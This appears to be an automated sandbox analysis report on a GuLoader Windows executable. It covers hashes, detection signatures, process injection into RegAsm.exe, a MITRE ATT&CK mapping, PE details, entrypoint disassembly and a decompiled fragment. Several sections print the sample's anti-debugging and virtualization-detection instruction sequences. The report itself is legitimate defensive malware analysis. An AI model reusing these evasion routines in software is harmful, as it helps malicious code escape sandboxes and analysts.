Play interactive tour

Edit tour

Analysis Report OPDATERINGSDISKETTES.exe

Overview

General Information

Sample Name:	OPDATERINGSDISKETTES.exe
Analysis ID:	357952
MD5:	446701e67dd00e1d2c45b23263533dea
SHA1:	1acbd6fae421f3cc96e757138c9af9e4fc5b5d3a
SHA256:	2414764b6c9385725e8ad59646c7af513fe3cd1bdd0de671dea8dc04ba4c6fe3
Tags:	exeGuLoader
Infos:
Most interesting Screenshot:

Detection

GuLoader

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Found potential dummy code loops (likely to delay analysis)

Hides threads from debuggers

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Tries to load missing DLLs

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

OPDATERINGSDISKETTES.exe (PID: 4316 cmdline: 'C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe' MD5: 446701E67DD00E1D2C45B23263533DEA)

RegAsm.exe (PID: 1948 cmdline: 'C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe' MD5: 6FD7592411112729BF6B1F2F6C34899F)

conhost.exe (PID: 5788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: RegAsm.exe PID: 1948	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: OPDATERINGSDISKETTES.exe	Virustotal: Detection: 21%			Perma Link
Source: OPDATERINGSDISKETTES.exe	ReversingLabs: Detection: 10%

Compliance:

Uses 32bit PE files

Show sources

Source: OPDATERINGSDISKETTES.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

System Summary:

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process Stats: CPU usage > 98%
Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	Process Stats: CPU usage > 98%

Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	Code function: 0_2_00402029	0_2_00402029
Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	Code function: 0_2_00401A29	0_2_00401A29
Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	Code function: 0_2_004019DC	0_2_004019DC
Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	Code function: 0_2_004017E9	0_2_004017E9

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Section loaded: sfc.dll

Jump to behavior

Source: OPDATERINGSDISKETTES.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: classification engine

Classification label: mal84.troj.evad.winEXE@4/0@0/0

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5788:120:WilError_01

Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe

File created: C:\Users\user\AppData\Local\Temp\~DFA3B2BCDEB5667DD5.TMP

Jump to behavior

Source: OPDATERINGSDISKETTES.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: OPDATERINGSDISKETTES.exe	Virustotal: Detection: 21%
Source: OPDATERINGSDISKETTES.exe	ReversingLabs: Detection: 10%

Source: unknown	Process created: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe 'C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe'
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe'	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 1948, type: MEMORY

Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	Code function: 0_2_00405D44 push ebx; iretd	0_2_00405D4B
Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	Code function: 0_2_0040BF54 push edi; retn 0004h	0_2_0040C441
Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	Code function: 0_2_00403D0E push ds; retf	0_2_00403D28
Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	Code function: 0_2_00406BF3 push ebx; retf	0_2_00406BF4
Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	Code function: 0_2_0040B1BD push edi; retn 0004h	0_2_0040C441
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B009AD push ss; retf	14_2_00B009B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B02907 pushfd ; iretd	14_2_00B03541
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B00B83 push ss; retf	14_2_00B00B8B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B005B3 pushfd ; iretd	14_2_00B03541
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B0050D pushfd ; iretd	14_2_00B03541
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B0068F pushfd ; iretd	14_2_00B03541
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B03ECD pushfd ; iretd	14_2_00B03541
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B0060F pushfd ; iretd	14_2_00B03541
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B00707 pushfd ; iretd	14_2_00B03541

Hooking and other Techniques for Hiding and Protection:

Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 14_2_00B013F1

14_2_00B013F1

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe

RDTSC instruction interceptor: First address: 0000000000622878 second address: 0000000000622878 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007FA66039AC58h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d pop ecx 0x0000001e add edi, edx 0x00000020 dec ecx 0x00000021 test esi, 5AFA4577h 0x00000027 cmp ecx, 00000000h 0x0000002a jne 00007FA66039AC3Ah 0x0000002c push ecx 0x0000002d test ch, 00000041h 0x00000030 call 00007FA66039AC6Dh 0x00000035 call 00007FA66039AC68h 0x0000003a lfence 0x0000003d mov edx, dword ptr [7FFE0014h] 0x00000043 lfence 0x00000046 ret 0x00000047 mov esi, edx 0x00000049 pushad 0x0000004a rdtsc

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe			Jump to behavior
Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	File opened: C:\Program Files\qga\qga.exe			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: RegAsm.exe

Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	RDTSC instruction interceptor: First address: 0000000000622878 second address: 0000000000622878 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007FA66039AC58h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d pop ecx 0x0000001e add edi, edx 0x00000020 dec ecx 0x00000021 test esi, 5AFA4577h 0x00000027 cmp ecx, 00000000h 0x0000002a jne 00007FA66039AC3Ah 0x0000002c push ecx 0x0000002d test ch, 00000041h 0x00000030 call 00007FA66039AC6Dh 0x00000035 call 00007FA66039AC68h 0x0000003a lfence 0x0000003d mov edx, dword ptr [7FFE0014h] 0x00000043 lfence 0x00000046 ret 0x00000047 mov esi, edx 0x00000049 pushad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe	RDTSC instruction interceptor: First address: 0000000000622A2D second address: 0000000000622A2D instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007FA660B0C492h 0x0000001d popad 0x0000001e call 00007FA660B0A08Dh 0x00000023 lfence 0x00000026 rdtsc

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 14_2_00B018B7 rdtsc

14_2_00B018B7

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: RegAsm.exe

Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

Found potential dummy code loops (likely to delay analysis)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process Stats: CPU usage > 90% for more than 60s

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe

Thread information set: HideFromDebugger

Jump to behavior

Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 14_2_00B018B7 rdtsc

14_2_00B018B7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B051AB mov eax, dword ptr fs:[00000030h]	14_2_00B051AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B051DF mov eax, dword ptr fs:[00000030h]	14_2_00B051DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B01AF3 mov eax, dword ptr fs:[00000030h]	14_2_00B01AF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B04ACA mov eax, dword ptr fs:[00000030h]	14_2_00B04ACA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B013F1 mov eax, dword ptr fs:[00000030h]	14_2_00B013F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B044BF mov eax, dword ptr fs:[00000030h]	14_2_00B044BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B04498 mov eax, dword ptr fs:[00000030h]	14_2_00B04498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 14_2_00B0272D mov eax, dword ptr fs:[00000030h]	14_2_00B0272D

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

HIPS / PFW / Operating System Protection Evasion:

Source: C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe'

Jump to behavior

Source: OPDATERINGSDISKETTES.exe, 00000000.00000002.471694785.0000000000CC0000.00000002.00000001.sdmp, RegAsm.exe, 0000000E.00000002.470676447.0000000001360000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: OPDATERINGSDISKETTES.exe, 00000000.00000002.471694785.0000000000CC0000.00000002.00000001.sdmp, RegAsm.exe, 0000000E.00000002.470676447.0000000001360000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: OPDATERINGSDISKETTES.exe, 00000000.00000002.471694785.0000000000CC0000.00000002.00000001.sdmp, RegAsm.exe, 0000000E.00000002.470676447.0000000001360000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: OPDATERINGSDISKETTES.exe, 00000000.00000002.471694785.0000000000CC0000.00000002.00000001.sdmp, RegAsm.exe, 0000000E.00000002.470676447.0000000001360000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	DLL Side-Loading1	Process Injection12	Virtualization/Sandbox Evasion311	OS Credential Dumping	Security Software Discovery721	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	DLL Side-Loading1	Process Injection12	LSASS Memory	Virtualization/Sandbox Evasion311	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	DLL Side-Loading1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information1	NTDS	System Information Discovery31	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
OPDATERINGSDISKETTES.exe	21%	Virustotal		Browse
OPDATERINGSDISKETTES.exe	11%	ReversingLabs	Win32.Worm.Wbvb

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	357952
Start date:	25.02.2021
Start time:	01:14:59
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	OPDATERINGSDISKETTES.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.evad.winEXE@4/0@0/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 94% (good quality ratio 56%) Quality average: 40.7% Quality standard deviation: 38%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.4029031708300606
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	OPDATERINGSDISKETTES.exe
File size:	73728
MD5:	446701e67dd00e1d2c45b23263533dea
SHA1:	1acbd6fae421f3cc96e757138c9af9e4fc5b5d3a
SHA256:	2414764b6c9385725e8ad59646c7af513fe3cd1bdd0de671dea8dc04ba4c6fe3
SHA512:	fccf60e2acc13f6be8f9bb5644bc5d7f6e62a39ff08ec6d75c6016677924cf91cf26be59f7952a16bfb7c750f083225ba26034cf8660aa5f5e0651059a8496e6
SSDEEP:	768:wxXFBWlBwBU0nTS1VCJlXcbkA+Lx6yPqPJ5QQmpgae3D5sRkMCX:SXTSwt21Vm1AMx6yPYJ5QQQgae3DsCX
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O.......................D.......=.......Rich............PE..L...kg.O.....................0....................@................

File Icon


Icon Hash:	b038b57269717938

Static PE Info

General
Entrypoint:	0x401394
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x4F81676B [Sun Apr 8 10:24:43 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f783b7553c2ee07b6bd756ebd3705f2c

Entrypoint Preview

Instruction
push 0040A6E0h
call 00007FA66089B4D5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
cmp byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
loopne 00007FA66089B554h
mov al, 16h
add byte ptr [718C4333h], dl
dec edx
sbb dword ptr [edx+00FCBB1Ah], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebp+esi*2+6Ch], dl
popad
jnc 00007FA66089B54Bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
dec esp
xor dword ptr [eax], eax
or dl, dh
cmp al, C2h
jle 00007FA66089B50Fh
mov ah, 7Eh
inc ecx
mov ebx, dword ptr [eax+24088438h]
in al, dx
and al, A6h
mov esp, 2BED4657h
dec eax
sbb byte ptr [ecx], 00000074h
std
in al, 88h
pop edi
popad
cmp cl, byte ptr [edi-53h]
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push ebx
xchg eax, edx
add byte ptr [eax], al
push es
or al, 00h
add byte ptr [eax], al
pop es
add byte ptr [eax+6Fh], dl
jne 00007FA66089B555h
jnc 00007FA66089B54Bh
add byte ptr [67000701h], cl
jnc 00007FA66089B549h
jc 00007FA66089B555h
add byte ptr [ecx], bl
add dword ptr [eax], eax
inc edx
add byte ptr [edx], ah
add byte ptr [ebx], ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xee94	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x12000	0xf76	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x11c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xe388	0xf000	False	0.380240885417	data	5.87430872386	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x10000	0x1210	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x12000	0xf76	0x1000	False	0.32861328125	data	3.68519752402	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x12c8e	0x2e8	data
RT_ICON	0x123e6	0x8a8	data
RT_GROUP_ICON	0x123c4	0x22	data
RT_VERSION	0x12120	0x2a4	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaHresultCheck, __vbaFreeVar, __vbaStrVarMove, __vbaLenBstr, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaStrCat, __vbaSetSystemError, __vbaLenBstrB, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaObjSet, _adj_fdiv_m16i, _adj_fdivr_m16i, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaStrCmp, DllFunctionCall, _adj_fpatan, __vbaLateIdCallLd, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, __vbaStrToUnicode, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, _CIlog, __vbaErrorOverflow, __vbaNew2, __vbaR8Str, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaVarAdd, __vbaStrToAnsi, __vbaVarDup, _CIatan, __vbaStrMove, _allmul, _CItan, _CIexp, __vbaFreeStr, __vbaFreeObj

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	OPDATERINGSDISKETTES
FileVersion	1.00
CompanyName	Wang
ProductName	Wang Laboratories
ProductVersion	1.00
FileDescription	Wang Laboratories
OriginalFilename	OPDATERINGSDISKETTES.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: OPDATERINGSDISKETTES.exe PID: 4316 Parent PID: 5636

General

Start time:	01:15:47
Start date:	25/02/2021
Path:	C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe'
Imagebase:	0x400000
File size:	73728 bytes
MD5 hash:	446701E67DD00E1D2C45B23263533DEA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: RegAsm.exe PID: 1948 Parent PID: 4316

General

Start time:	01:17:03
Start date:	25/02/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\OPDATERINGSDISKETTES.exe'
Imagebase:	0x690000
File size:	64616 bytes
MD5 hash:	6FD7592411112729BF6B1F2F6C34899F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 5788 Parent PID: 1948

General

Start time:	01:17:04
Start date:	25/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: OPDATERINGSDISKETTES.exe PID: 4316 Parent PID: 5636 OPDATERINGSDISKETTES.exeCOMMON

Executed Functions

Function 00402029, Relevance: .9, Instructions: 896
COMMONCrypto

Download Yara Rule

C-Code - Quality: 77%

			E00402029() {
				signed int _t74;
				signed int _t75;
				signed int _t76;
				signed char _t77;
				signed int _t79;
				void* _t81;
				signed char _t82;
				signed int _t84;
				signed int _t85;
				signed int _t86;
				signed char _t88;
				signed char _t89;
				intOrPtr* _t90;
				intOrPtr _t92;
				void* _t93;
				void* _t94;
				intOrPtr* _t96;
				void* _t98;
				intOrPtr* _t114;
				void* _t116;
				signed char _t117;
				void* _t119;
				void* _t121;
				void* _t122;
				intOrPtr* _t127;
				intOrPtr* _t129;
				signed int _t130;
				void* _t138;
				void* _t140;
				void* _t143;
				void* _t152;
				void* _t155;
				intOrPtr* _t166;
				intOrPtr* _t179;
				signed int _t180;
				void* _t182;
				void* _t183;
				void* _t185;
				signed char _t191;
				signed int _t206;
				signed int _t209;
				signed int _t210;
				void* _t212;
				void* _t213;
				signed int _t215;
				signed char _t219;
				void* _t225;
				intOrPtr _t227;
				signed int _t229;
				void* _t241;
				void* _t244;
				signed long long _t249;

				_t75 = _t74 ^ 0x00000ed8;
				asm("lahf");
				asm("sldt word [eax]");
				_push(0x16);
				 *_t75 =  *_t75 + _t75;
				asm("aad 0x14");
				 *_t75 =  *_t75 + _t75;
				_t213 = _t212 + 1;
				 *(_t191 + 1) =  *(_t191 + 1) + _t75;
				 *_t127 =  *_t127 + 1;
				asm("sbb al, [eax]");
				 *_t75 =  *_t75 + _t75;
				_t76 = _t75 + 0x69540006;
				asm("insd");
				if(_t76 < 0) {
					L2:
					 *0x5640270 =  *0x5640270 + _t76;
					_t191 = _t191 + 1;
					_t77 = _t76 +  *_t179;
					_push(es);
					asm("adc al, [ebx]");
					 *_t77 =  *_t77 + _t77;
					 *_t179 =  *_t179 + _t77;
					_push(es);
					 *((intOrPtr*)(_t191 + 0x72)) =  *((intOrPtr*)(_t191 + 0x72)) + _t77;
					asm("popad");
					asm("insd");
					_t79 = (_t77 ^  *[gs:eax]) +  *_t127;
					_pop(es);
					 *((intOrPtr*)(_t127 + 0x44)) =  *((intOrPtr*)(_t127 + 0x44)) + _t79;
					_t215 = _t213 +  *_t179 + 1;
					_t114 = _t114 + _t114 + 1;
					_push(_t114);
